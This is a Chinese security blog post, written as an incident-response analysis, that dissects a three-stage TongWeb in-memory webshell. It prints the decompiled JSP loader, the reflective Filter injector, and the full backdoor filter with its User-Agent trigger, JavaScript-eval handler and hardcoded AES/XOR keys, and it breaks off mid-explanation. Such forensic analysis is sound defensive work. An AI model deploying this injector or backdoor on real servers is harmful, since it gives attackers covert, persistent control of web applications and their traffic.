T00ls安全 10月24日 00:47
TongWeb内存马深度剖析
index_new5.html
../../../zaker_core/zaker_tpl_static/wap/tpl_guoji1.html

 

本文深入剖析了TongWeb内存马的工作原理,攻击者利用JSP触发器加载三段式Filter马,通过UA头“Chrome/70.0.5961.XX”激活JS引擎与AES加密后门,实现全流量劫持。文章建议速查“/*”路径异常流量,以发现潜在的安全威胁。

🔍 攻击者利用JSP触发器加载三段式Filter马,通过Base64编码恶意代码,并使用自定义类加载器动态加载恶意类,实现内存马的注入。

🔒 恶意代码通过AES加密后门,结合UA头“Chrome/70.0.5961.XX”激活JS引擎,绕过安全检测,实现全流量劫持。

📊 文章建议速查“/*”路径的异常流量,这是发现内存马入侵的重要线索,可以通过监控Web日志及时发现可疑活动。

🔬 通过分析内存马的代码结构,可以发现其利用了Java反射机制和ClassLoader的特性,实现了恶意代码的动态加载和执行。

🛡️ 针对此类攻击,建议加强Web应用的安全防护,定期进行安全审计,及时发现并修复潜在的漏洞,以防止内存马入侵。

原创 Chuizi 2025-07-28 09:24 山西

TongWeb 内存马深度剖析:攻击者利用JSP触发器加载三段式Filter马,UA头“Chrome/70.0.5961.XX”激活JS引擎与AES加密后门,实现全流量劫持。速查“/*”路径异常流量!

 

发现痕迹

划水摸鱼看抖音的时候,发现tongweb中的某个应用告警了呢,发现有大量请求到了"/*"路径,返回大小不一判断一定有猫腻。直接上机取证,发现是一个内存马,使用了一个0day打入了系统。冲冲冲!

第一段代码分析

直接分析内存马

/*
 * Generated by the Jasper component of TongWeb Webtier
 * Version: TongWeb
 * Generated at: 2025-07-10 13:00:46 UTC
 * Note: The last modified time of this file was set to
 *       the last modified time of the source file after
 *       generation to assist with modification tracking.
 */
package com.tongweb.jsp.icondddd;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;
public final class icondddd extends com.tongweb.jasper.runtime.HttpJspBase
    implements com.tongweb.jasper.runtime.JspSourceDependent,
                 com.tongweb.jasper.runtime.JspSourceImports {
    public static class ClassDefiner extends ClassLoader {
        public ClassDefiner(ClassLoader classLoader) {
            super(classLoader);
        }
        public Class<?> defineClass(byte[] code) {
            return defineClass(null, code, 0, code.length);
        }
    }
  private static final javax.servlet.jsp.JspFactory _jspxFactory =
          javax.servlet.jsp.JspFactory.getDefaultFactory();
  private static java.util.Map<java.lang.String,java.lang.Long> _jspx_dependants;
  private static final java.util.Set<java.lang.String> _jspx_imports_packages;
  private static final java.util.Set<java.lang.String> _jspx_imports_classes;
  static {
    _jspx_imports_packages = new java.util.HashSet<>();
    _jspx_imports_packages.add("javax.servlet");
    _jspx_imports_packages.add("javax.servlet.http");
    _jspx_imports_packages.add("javax.servlet.jsp");
    _jspx_imports_classes = null;
  }
  private volatile javax.el.ExpressionFactory _el_expressionfactory;
  private volatile com.tongweb.web.InstanceManager _jsp_instancemanager;
  public java.util.Map<java.lang.String,java.lang.Long> getDependants() {
    return _jspx_dependants;
  }
  public java.util.Set<java.lang.String> getPackageImports() {
    return _jspx_imports_packages;
  }
  public java.util.Set<java.lang.String> getClassImports() {
    return _jspx_imports_classes;
  }
  public javax.el.ExpressionFactory _jsp_getExpressionFactory() {
    if (_el_expressionfactory == null) {
      synchronized (this) {
        if (_el_expressionfactory == null) {
          _el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
        }
      }
    }
    return _el_expressionfactory;
  }
  public com.tongweb.web.InstanceManager _jsp_getInstanceManager() {
    if (_jsp_instancemanager == null) {
      synchronized (this) {
        if (_jsp_instancemanager == null) {
          _jsp_instancemanager = com.tongweb.jasper.runtime.InstanceManagerFactory.getInstanceManager(getServletConfig());
        }
      }
    }
    return _jsp_instancemanager;
  }
  public void _jspInit() {
  }
  public void _jspDestroy() {
  }
  public void _jspService(final javax.servlet.http.HttpServletRequest request, final javax.servlet.http.HttpServletResponse response)
      throws java.io.IOException, javax.servlet.ServletException {
    final java.lang.String _jspx_method = request.getMethod();
    if (!"GET".equals(_jspx_method) && !"POST".equals(_jspx_method) && !"HEAD".equals(_jspx_method) && !javax.servlet.DispatcherType.ERROR.equals(request.getDispatcherType())) {
      response.sendError(HttpServletResponse.SC_METHOD_NOT_ALLOWED, "JSPs only permit GET POST or HEAD");
      return;
    }
    final javax.servlet.jsp.PageContext pageContext;
    javax.servlet.http.HttpSession session = null;
    final javax.servlet.ServletContext application;
    final javax.servlet.ServletConfig config;
    javax.servlet.jsp.JspWriter out = null;
    final java.lang.Object page = this;
    javax.servlet.jsp.JspWriter _jspx_out = null;
    javax.servlet.jsp.PageContext _jspx_page_context = null;
    try {
      response.setContentType("text/html");
      pageContext = _jspxFactory.getPageContext(this, request, response,
             null, true, 8192, true);
      _jspx_page_context = pageContext;
      application = pageContext.getServletContext();
      config = pageContext.getServletConfig();
      session = pageContext.getSession();
      out = pageContext.getOut();
      _jspx_out = out;
      out.write('\n');
      out.write('\n');
    String base64Str = "yv66vgAAADIBT~~~此处省略一万字";
    byte[] bytecode = null;
    try {
        Class base64Clz = Class.forName("java.util.Base64");
        Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
        bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
    } catch (ClassNotFoundException ee) {
        Class datatypeConverterClz = Class.forName("javax.xml.bind.DatatypeConverter");
        bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
    }
    Class clazz = new ClassDefiner(Thread.currentThread().getContextClassLoader()).defineClass(bytecode);
    clazz.newInstance();
      out.write('\n');
    } catch (java.lang.Throwable t) {
      if (!(t instanceof javax.servlet.jsp.SkipPageException)){
        out = _jspx_out;
        if (out != null && out.getBufferSize() != 0)
          try {
            if (response.isCommitted()) {
              out.flush();
            } else {
              out.clearBuffer();
            }
          } catch (java.io.IOException e) {}
        if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
        else throw new ServletException(t);
      }
    } finally {
      _jspxFactory.releasePageContext(_jspx_page_context);
    }
  }
}

从定义的类来看

继承自 TongWeb 的JSP基类,木马路径为icondddd,目前只当做第一次触发注入第二段代码 。

public final class icondddd extends com.tongweb.jasper.runtime.HttpJspBase
    implements com.tongweb.jasper.runtime.JspSourceDependent,
               com.tongweb.jasper.runtime.JspSourceImports

自定义的类加载器,用来当作Loader加载后续的恶意代码。

public static class ClassDefiner extends ClassLoader {
    public ClassDefiner(ClassLoader classLoader) {
        super(classLoader); // 使用当前类加载器作为父类
    }
    public Class<?> defineClass(byte[] code) {
        return defineClass(null, code, 0, code.length); // 核心:动态加载字节码
    }
}

Base64解码恶意代码

String base64Str = "yv66vgAAADIBT~~~此处省略一万字"; // 恶意类的Base64
byte[] bytecode = null;
// 尝试Java 8+的Base64解码
try {
    Class base64Clz = Class.forName("java.util.Base64");
    Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
    bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class)
                               .invoke(decoder, base64Str);

// 兼容旧版Java(使用JAXB)
catch (ClassNotFoundException ee) {
    Class datatypeConverterClz = Class.forName("javax.xml.bind.DatatypeConverter");
    bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class)
                                           .invoke(null, base64Str);
}

Loader,上下文类加载器:使用当前线程的类加载器,绕过安全管理。通过newInstance() 触发恶意类的构造函数。

Class clazz = new ClassDefiner(Thread.currentThread().getContextClassLoader())
                 .defineClass(bytecode); // 动态定义类
clazz.newInstance(); // 触发恶意代码执行

核心代码,纯Java反射实现,将base64Str中的恶意类加载 。

try {
      response.setContentType("text/html");//很常见的Servlet内存马,实现流程
      pageContext = _jspxFactory.getPageContext(this, request, response,
             null, true, 8192, true);   //获取getPageContext,页面上下文
      _jspx_page_context = pageContext;
      application = pageContext.getServletContext();  //获取ServletContext,
       //ServletContext是一个强大的工具,用于在Web应用程序中共享数据和资源
      config = pageContext.getServletConfig();
      session = pageContext.getSession();
      out = pageContext.getOut();
      _jspx_out = out;
      out.write('\n');
      out.write('\n');
    String base64Str = "yv66vgAAADIBT~~~";  //第二层恶意类的Base64
    byte[] bytecode = null;
    try {
        Class base64Clz = Class.forName("java.util.Base64");
        Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
        bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
    } catch (ClassNotFoundException ee) {
        Class datatypeConverterClz = Class.forName("javax.xml.bind.DatatypeConverter");
        bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
    }
    Class clazz = new ClassDefiner(Thread.currentThread().getContextClassLoader()).defineClass(bytecode);
    clazz.newInstance();
//为什么可以加载任意类?
//因为defineClass方法接受一个字节数组,这个数组可以表示任何合法的类。攻击者只需要将恶意类的字节码进行Base64编码(如代码中的base64Str),然后在运行时解码并传递给defineClass方法,就可以加载这个恶意类。
//注意:defineClass方法本身是ClassLoader的一个受保护的方法,因此自定义类加载器需要继承ClassLoader才能访问它。在代码中,ClassDefiner类暴露了一个public方法defineClass,该方法内部调用了protected的defineClass方法(实际上调用的是ClassLoader中的defineClass方法,有多个重载,这里使用的是其中一个)
//标准类加载器遵循父优先原则,但自定义加载器可打破此模型,打破双亲委派
      out.write('\n');

第二段代码分析,base64解码反编译后

这段代码就有点复杂和关键了,属于是一个中间层,注入一个Filter类型的内存马;

package org.apache.logging.wXAKD;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.logging.Logger;
import java.util.zip.GZIPInputStream;
public class HTMLUtil {
    Logger logger = Logger.getLogger(HTMLUtil.class.getName());
    public String getUrlPattern() {
        return "/*";
    }
    public String getClassName() {
        return "org.apache.http.web.handlers.POVKP.LogFilter";
    }
    public String getBase64String() {
        return "H4sIAAAAAAAA/又要省略~~~";
    }
    public HTMLUtil() {
        try {
            List var1 = this.getContext();
            Iterator var2 = var1.iterator();
            while(var2.hasNext()) {
                Object var3 = var2.next();
                Object var4 = this.getShell(var3);
                this.inject(var3, var4);
            }
        } catch (Exception var5) {
            var5.printStackTrace();
        }
    }
    public List<Object> getContext() throws Exception {
        ArrayList var1 = new ArrayList();
        Set var2 = Thread.getAllStackTraces().keySet();
        Iterator var3 = var2.iterator();
        while(true) {
            Thread var4;
            do {
                if (!var3.hasNext()) {
                    return var1;
                }
                var4 = (Thread)var3.next();
            } while(!var4.getName().contains("ContainerBackgroundProcessor"));
            Map var5 = (Map)getFieldValue(getFieldValue(getFieldValue(var4, "target"), "this$0"), "children");
            Collection var6 = var5.values();
            Iterator var7 = var6.iterator();
            while(var7.hasNext()) {
                Object var8 = var7.next();
                Map var9 = (Map)getFieldValue(var8, "children");
                var1.addAll(var9.values());
            }
        }
    }
    private ClassLoader getWebAppClassLoader(Object var1) {
        try {
            return (ClassLoader)invokeMethod(var1, "getClassLoader", (Class[])null, (Object[])null);
        } catch (Exception var4) {
            Object var3 = invokeMethod(var1, "getLoader", (Class[])null, (Object[])null);
            return (ClassLoader)invokeMethod(var3, "getClassLoader", (Class[])null, (Object[])null);
        }
    }
    private Object getShell(Object var1) throws Exception {
        ClassLoader var2 = this.getWebAppClassLoader(var1);
        try {
            return var2.loadClass(this.getClassName()).newInstance();
        } catch (Exception var7) {
            byte[] var4 = gzipDecompress(decodeBase64(this.getBase64String()));
            Method var5 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
            var5.setAccessible(true);
            Class var6 = (Class)var5.invoke(var2, var4, 0, var4.length);
            return var6.newInstance();
        }
    }
    public void inject(Object var1, Object var2) throws Exception {
        Logger var10000;
        String var10001;
        if (invokeMethod(var1, "findFilterDef", new Class[]{String.class}, new Object[]{this.getClassName()}) != null) {
            var10000 = this.logger;
            var10001 = "filter already injected";
        } else {
            String var3 = this.getClassName();
            ClassLoader var7 = var1.getClass().getClassLoader();
            Object var4;
            Object var5;
            Constructor var6;
            try {
                var6 = var7.loadClass("com.tongweb.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
                var4 = var7.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
                var5 = var7.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance();
            } catch (Exception var11) {
                try {
                    var6 = var7.loadClass("com.tongweb.web.thor.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
                    var4 = var7.loadClass("com.tongweb.web.thor.deploy.FilterDef").newInstance();
                    var5 = var7.loadClass("com.tongweb.web.thor.deploy.FilterMap").newInstance();
                } catch (Exception var10) {
                    var6 = var7.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
                    var4 = var7.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
                    var5 = var7.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance();
                }
            }
            invokeMethod(var4, "setFilterName", new Class[]{String.class}, new Object[]{var3});
            invokeMethod(var4, "setFilterClass", new Class[]{String.class}, new Object[]{var3});
            invokeMethod(var1, "addFilterDef", new Class[]{var4.getClass()}, new Object[]{var4});
            invokeMethod(var5, "setFilterName", new Class[]{String.class}, new Object[]{var3});
            invokeMethod(var5, "addURLPattern", new Class[]{String.class}, new Object[]{this.getUrlPattern()});
            invokeMethod(var1, "addFilterMapBefore", new Class[]{var5.getClass()}, new Object[]{var5});
            var6.setAccessible(true);
            Object var8 = var6.newInstance(var1, var4);
            Map var9 = (Map)getFieldValue(var1, "filterConfigs");
            var9.put(var3, var8);
            var10000 = this.logger;
            var10001 = "filter inject success";
        }
    }
    public static byte[] decodeBase64(String var0) throws Exception {
        Class var1;
        try {
            var1 = Class.forName("java.util.Base64");
            Object var2 = var1.getMethod("getDecoder").invoke((Object)null);
            return (byte[])((byte[])var2.getClass().getMethod("decode", String.class).invoke(var2, var0));
        } catch (Exception var3) {
            var1 = Class.forName("sun.misc.BASE64Decoder");
            return (byte[])((byte[])var1.getMethod("decodeBuffer", String.class).invoke(var1.newInstance(), var0));
        }
    }
    public static byte[] gzipDecompress(byte[] var0) throws IOException {
        ByteArrayOutputStream var1 = new ByteArrayOutputStream();
        GZIPInputStream var2 = null;
        try {
            var2 = new GZIPInputStream(new ByteArrayInputStream(var0));
            byte[] var3 = new byte[4096];
            int var4;
            while((var4 = var2.read(var3)) > 0) {
                var1.write(var3, 0, var4);
            }
            byte[] var5 = var1.toByteArray();
            return var5;
        } finally {
            if (var2 != null) {
                var2.close();
            }
            var1.close();
        }
    }
    public static Object invokeMethod(Object var0, String var1, Class<?>[] var2, Object[] var3) {
        try {
            Class var4 = var0 instanceof Class ? (Class)var0 : var0.getClass();
            Method var5 = null;
            while(var4 != null && var5 == null) {
                try {
                    if (var2 == null) {
                        var5 = var4.getDeclaredMethod(var1);
                    } else {
                        var5 = var4.getDeclaredMethod(var1, var2);
                    }
                } catch (NoSuchMethodException var7) {
                    var4 = var4.getSuperclass();
                }
            }
            if (var5 == null) {
                throw new NoSuchMethodException("Method not found: " + var1);
            } else {
                var5.setAccessible(true);
                return var5.invoke(var0 instanceof Class ? null : var0, var3);
            }
        } catch (Exception var8) {
            throw new RuntimeException("Error invoking method: " + var1, var8);
        }
    }
    public static Object getFieldValue(Object var0, String var1) throws Exception {
        Class var2 = var0.getClass();
        while(var2 != Object.class) {
            try {
                Field var3 = var2.getDeclaredField(var1);
                var3.setAccessible(true);
                return var3.get(var0);
            } catch (NoSuchFieldException var4) {
                var2 = var2.getSuperclass();
            }
        }
        throw new NoSuchFieldException();
    }
    static {
        new HTMLUtil();
    }
}

代码启动,但是在分析Web日志的时候,红队还是访问了 / 来触发。

static {
    new HTMLUtil(); // 类加载时立即执行
}
public HTMLUtil() {
    try {
        // 1. 获取所有Web应用上下文对象
        List var1 = this.getContext();
        Iterator var2 = var1.iterator();
        // 2. 遍历每个上下文
        while(var2.hasNext()) {
            Object var3 = var2.next(); // 当前上下文对象
            // 3. 为当前上下文动态创建恶意Filter实例
            Object var4 = this.getShell(var3);
            // 4. 将恶意Filter注入到当前上下文的过滤链
            this.inject(var3, var4);
        }
    } catch (Exception var5) {
        var5.printStackTrace(); // 异常处理(便于调试)
    }
}

通过遍历ContainerBackgroundProcessor反射内容获取Context

//ContainerBackgroundProcessor,该线程每10s会发送一个发送一个事件,监听到该事件的部署配置类会自动去扫描webapp文件夹下的war包,将其加载成一个Context
public List<Object> getContext() throws Exception {
        ArrayList var1 = new ArrayList();
        Set var2 = Thread.getAllStackTraces().keySet();//获取所有线程
        Iterator var3 = var2.iterator();
        while(true) {  //遍历线程查找目标线程
            Thread var4;
            do {
                if (!var3.hasNext()) {
                    return var1;
                }
                var4 = (Thread)var3.next();
            } while(!var4.getName().contains("ContainerBackgroundProcessor"));
            Map var5 = (Map)getFieldValue(getFieldValue(getFieldValue(var4, "target"), "this$0"), "children");   //反射获取内部数据结构
            Collection var6 = var5.values();
            Iterator var7 = var6.iterator();
            while(var7.hasNext()) {  //收集子容器中的所有对象
                Object var8 = var7.next();
                Map var9 = (Map)getFieldValue(var8, "children");
                var1.addAll(var9.values());
            }
        }
    }

getshell函数,获取base64+GZIP压缩过的第三层class类

    private Object getShell(Object var1) throws Exception {
        ClassLoader var2 = this.getWebAppClassLoader(var1);  //首先通过 getWebAppClassLoader() 获取一个类加载器
        try {
            return var2.loadClass(this.getClassName()).newInstance();  
        } catch (Exception var7) {
            byte[] var4 = gzipDecompress(decodeBase64(this.getBase64String()));  //解密Base64中的Class类
            Method var5 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);  //然后使用这个类加载器加载由 getClassName() 返回的类名对应的类
            var5.setAccessible(true);
            Class var6 = (Class)var5.invoke(var2, var4, 0, var4.length); //最后通过反射创建该类的实例
            return var6.newInstance();
        }
    }

inject函数,负责将恶意Filter动态注入到目标Web应用的过滤链中

public void inject(Object var1, Object var2) throws Exception {
        Logger var10000;
        String var10001;
        if (invokeMethod(var1, "findFilterDef", new Class[]{String.class}, new Object[]{this.getClassName()}) != null) { //检查是否注册过findFilterDef,如果没有则运行注册
            var10000 = this.logger;
            var10001 = "filter already injected"; // 已存在同名Filter则跳过
        } else {
            String var3 = this.getClassName();
            ClassLoader var7 = var1.getClass().getClassLoader();
            Object var4;
            Object var5;
            Constructor var6;
            try {
         // 尝试加载TongWeb版本1的类  自动识别TongWeb版本
                var6 = var7.loadClass("com.tongweb.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
                var4 = var7.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
                var5 = var7.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance();
            } catch (Exception var11) {
                try {
         // 尝试加载TongWeb版本2的类
                    var6 = var7.loadClass("com.tongweb.web.thor.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
                    var4 = var7.loadClass("com.tongweb.web.thor.deploy.FilterDef").newInstance();
                    var5 = var7.loadClass("com.tongweb.web.thor.deploy.FilterMap").newInstance();
                } catch (Exception var10) {
         // 尝试加载TongWeb版本3的类
                    var6 = var7.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
                    var4 = var7.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
                    var5 = var7.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance();
                }
            }
         // 设置Filter名称和类名
            invokeMethod(var4, "setFilterName", new Class[]{String.class}, new Object[]{var3});
            invokeMethod(var4, "setFilterClass", new Class[]{String.class}, new Object[]{var3});
         // 将Filter定义添加到Context
            invokeMethod(var1, "addFilterDef", new Class[]{var4.getClass()}, new Object[]{var4});
         // 设置Filter名称
            invokeMethod(var5, "setFilterName", new Class[]{String.class}, new Object[]{var3});
         // 添加URL匹配模式(/* 表示拦截所有请求)
            invokeMethod(var5, "addURLPattern", new Class[]{String.class}, new Object[]{this.getUrlPattern()});
         // 将映射规则添加到Context(确保优先执行)
            invokeMethod(var1, "addFilterMapBefore", new Class[]{var5.getClass()}, new Object[]{var5});
         // 创建Filter配置实例
            var6.setAccessible(true);
            Object var8 = var6.newInstance(var1, var4);
         // 获取Context的filterConfigs字段(核心数据结构)
            Map var9 = (Map)getFieldValue(var1, "filterConfigs");
         // 将恶意Filter配置注入核心Map
            var9.put(var3, var8);
            var10000 = this.logger;
            var10001 = "filter inject success";
        }
    }

完成注入后,所有HTTP请求的处理流程变为

第三段真正的内存马

package org.apache.http.web.handlers.POVKP;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
import javax.script.ScriptException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletInputStream;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebFilter("/*")
public class LogFilter implements Filter {
    static Class service;
    public static byte[] unHex(byte[] var0) {
        int var1 = var0.length;
        byte[] var2 = new byte[var1 / 2];
        int var3 = 0;
        for(int var4 = 0; var4 < var1; ++var3) {
            int var5 = Character.digit(var0[var4++], 16) << 4;
            var5 |= Character.digit(var0[var4++], 16);
            var2[var3] = (byte)(var5 & 255);
        }
        return var2;
    }
    public static byte[] aes128(byte[] var0, int var1) {
        try {
            Cipher var2 = Cipher.getInstance("AES");
            var2.init(var1, new SecretKeySpec(base64Decode("0J5YM0fKgYVrkckwTUIF+Q==".getBytes()), "AES"));
            return var2.doFinal(var0);
        } catch (Exception var3) {
            return null;
        }
    }
    public static byte[] xor(byte[] var0) {
        byte[] var1 = base64Decode("R80sh++uJ9oXJpMfw2pc/Q==".getBytes());
        int var2 = var0.length;
        int var3 = var1.length;
        boolean var4 = false;
        for(int var5 = 1; var5 <= var2; ++var5) {
            int var6 = var5 - 1;
            var0[var6] ^= var1[var5 % var3];
        }
        return var0;
    }
    public static byte[] base64Encode(byte[] var0) {
        byte[] var2 = null;
        Class var1;
        try {
            var1 = Class.forName("java.util.Base64");
            Object var3 = var1.getMethod("getEncoder", (Class[])null).invoke(var1, (Object[])null);
            var2 = (byte[])((byte[])var3.getClass().getMethod("encode", byte[].class).invoke(var3, var0));
        } catch (Exception var6) {
            try {
                var1 = Class.forName("sun.misc.BASE64Encoder");
                Object var4 = var1.newInstance();
                var2 = ((String)var4.getClass().getMethod("encode", byte[].class).invoke(var4, var0)).getBytes();
            } catch (Exception var5) {
            }
        }
        return var2;
    }
    public static byte[] base64Decode(byte[] var0) {
        byte[] var2 = null;
        Class var1;
        try {
            var1 = Class.forName("java.util.Base64");
            Object var3 = var1.getMethod("getDecoder", (Class[])null).invoke(var1, (Object[])null);
            var2 = (byte[])((byte[])var3.getClass().getMethod("decode", byte[].class).invoke(var3, var0));
        } catch (Exception var6) {
            try {
                var1 = Class.forName("sun.misc.BASE64Decoder");
                Object var4 = var1.newInstance();
                var2 = (byte[])((byte[])var4.getClass().getMethod("decodeBuffer", String.class).invoke(var4, new String(var0)));
            } catch (Exception var5) {
            }
        }
        return var2;
    }
    public void a01(HttpServletRequest var1, HttpServletResponse var2, String var3) throws IOException {
        PrintWriter var4 = var2.getWriter();
        var4.println("{\"version\":\"1.0.0\"}");
        var4.flush();
        var4.close();
    }
    public void a02(HttpServletRequest var1, HttpServletResponse var2, String var3) throws IOException {
        PrintWriter var4 = var2.getWriter();
        ScriptEngine var5 = (new ScriptEngineManager()).getEngineByName("js");
        var5.put("request", var1);
        var5.put("response", var2);
        try {
            var4.println(var5.eval(new String(base64Decode(var1.getParameter("username").getBytes()))).toString());
        } catch (ScriptException var7) {
        }
        var4.flush();
        var4.close();
    }
    public byte[] a033(byte[] var1) throws Exception {
        byte[] var2 = new byte[var1.length - 337];
        System.arraycopy(var1, 281, var2, 0, var2.length);
        var1 = unHex(var2);
        var1 = aes128(var1, 2);
        if (service == null) {
            service = loader(var1);
            return null;
        } else {
            ByteArrayOutputStream var3 = new ByteArrayOutputStream();
            Object var4 = service.newInstance();
            var4.equals(var3);
            var4.equals(var1);
            var4.toString();
            byte[] var5 = var3.toByteArray();
            var3.reset();
            var5 = xor(var5);
            var5 = base64Encode(var5);
            var3.write(base64Decode("eyJyZXNwb25zZUNvbnRleHQiOnsic2VydmljZVRyYWNraW5nUGFyYW1zIjpbeyJzZXJ2aWNlIjoiQ1NJIiwicGFyYW1zIjpbeyJrZXkiOiJjIiwidmFsdWUiOiJXRUIifSx7ImtleSI6ImN2ZXIiLCJ2YWx1ZSI6IjIuMjAyNDA3MTAuMDguMDAifSx7ImtleSI6Inl0X2xpIiwidmFsdWUiOiIxIn0seyJrZXkiOiJHZXRVbnNlZW5Ob3RpZmljYXRpb25Db3VudF9yaWQiLCJ2YWx1ZSI6IjB4M2MwMGNhZGFjNjNkYzE0NyJ9XX0seyJzZXJ2aWNlIjoiRUNBVENIRVIiLCJwYXJhbXMiOlt7ImtleSI6ImNsaWVudC52ZXJzaW9uIiwidmFsdWUiOiIyLjIwMjQwNzEwIn0seyJrZXkiOiJjbGllbnQubmFtZSIsInZhbHVlIjoiV0VCIn1dfV0sIm1haW5BcHBXZWJSZXNwb25zZUNvbnRleHQiOnsiZGF0YXN5bmNJZCI6IjExNjc2MTk5MjE5MTAzNTY5MDc5Nnx8IiwibG9nZ2VkT3V0IjpmYWxzZX0sIndlYlJlc3BvbnNlQ29udGV4dEV4dGVuc2lvbkRhdGEiOnsiaGFzRGVjb3JhdGVkIjp0cnVlfX0sImFjdGlvbnMiOlt7ImNsaWNrVHJhY2tpbmdQYXJhbXMiOiI=".getBytes()));
            var3.write(var5);
            var3.write(base64Decode("IiwidXBkYXRlTm90aWZpY2F0aW9uc1Vuc2VlbkNvdW50QWN0aW9uIjp7ImhhbmRsZXJEYXRhIjoiTk9USUZJQ0FUSU9OX0FDVElPTl9VUERBVEVfVU5TRUVOX0NPVU5UIiwidW5zZWVuQ291bnQiOjAsInRpbWVvdXRNcyI6MTgwMDAwMH19XX0=".getBytes()));
            var5 = var3.toByteArray();
            return var5;
        }
    }
    public void a03(HttpServletRequest var1, HttpServletResponse var2, String var3) throws IOException {
        try {
            Object var4 = null;
            byte[] var5;
            byte[] var10;
            if (var1.getParameter("json") != null) {
                var10 = var1.getParameter("json").getBytes();
            } else {
                var5 = new byte[102400];
                ByteArrayOutputStream var6 = new ByteArrayOutputStream();
                boolean var7 = false;
                ServletInputStream var8 = var1.getInputStream();
                while(true) {
                    int var11;
                    if ((var11 = var8.read(var5)) <= 0) {
                        var10 = var6.toByteArray();
                        break;
                    }
                    var6.write(var5, 0, var11);
                }
            }
            var5 = this.a033(var10);
            var2.setStatus(200);
            var2.setHeader("Content-Type", "application/json;charset=utf-8;");
            var2.getOutputStream().write(var5);
            var2.getOutputStream().flush();
            var2.getOutputStream().close();
        } catch (Exception var9) {
        }
    }
    public static Class loader(byte[] var0) throws Exception {
        URLClassLoader var1 = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
        Method var2 = ClassLoader.class.getDeclaredMethod(new String(new byte[]{100, 101, 102, 105, 110, 101, 67, 108, 97, 115, 115}), byte[].class, Integer.TYPE, Integer.TYPE);
        var2.setAccessible(true);
        Class var3 = (Class)var2.invoke(var1, var0, new Integer(0), new Integer(var0.length));
        return var3;
    }
    public void init(FilterConfig var1) throws ServletException {
    }
    public void doFilter(ServletRequest var1, ServletResponse var2, FilterChain var3) throws IOException, ServletException {
        HttpServletRequest var4 = (HttpServletRequest)var1;
        HttpServletResponse var5 = (HttpServletResponse)var2;
        String var6 = var4.getHeader("User-Agent");
        String var7 = null;
        String var8 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/037.99 (KHTML, like Gecko) Chrome/70.0.5961.";
        if (var6 != null && var6.startsWith(var8)) {
            int var9 = var6.indexOf(var8);
            var7 = var6.substring(var9 + var8.length(), var9 + var8.length() + 2);
        }
        if (var7 != null) {
            Method var10 = this.getClass().getDeclaredMethod("a" + var7, HttpServletRequest.class, HttpServletResponse.class, String.class);
            var10.invoke(this, var4, var5, var7);
        } else {
            var3.doFilter(var4, var5);
        }
    }
}

doFilter 初始函数,过滤UA确定我要执行的模块,

public void doFilter(ServletRequest var1, ServletResponse var2, FilterChain var3) 
    throws IOException, ServletException {
    // 检测特定UA头
    String var6 = var4.getHeader("User-Agent");
    String var8 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/037.99 (KHTML, like Gecko) Chrome/70.0.5961.";
    // 提取触发代码
    if (var6 != null && var6.startsWith(var8)) {
        int var9 = var6.indexOf(var8);
        var7 = var6.substring(var9 + var8.length(), var9 + var8.length() + 2);
    }
    // 动态调用攻击方法
    if (var7 != null) {
        Method var10 = this.getClass().getDeclaredMethod("a" + var7, HttpServletRequest.class, HttpServletResponse.class, String.class);
        var10.invoke(this, var4, var5, var7);
    } else {
        var3.doFilter(var4, var5); // 正常请求
    }
}

UA识别规则

当结尾01时:

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/037.99 (KHTML, like Gecko) Chrome/70.0.5961."01"
反射getDeclaredMethod("a" + 01函数执行

当结尾02时:

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/037.99 (KHTML, like Gecko) Chrome/70.0.5961."02"
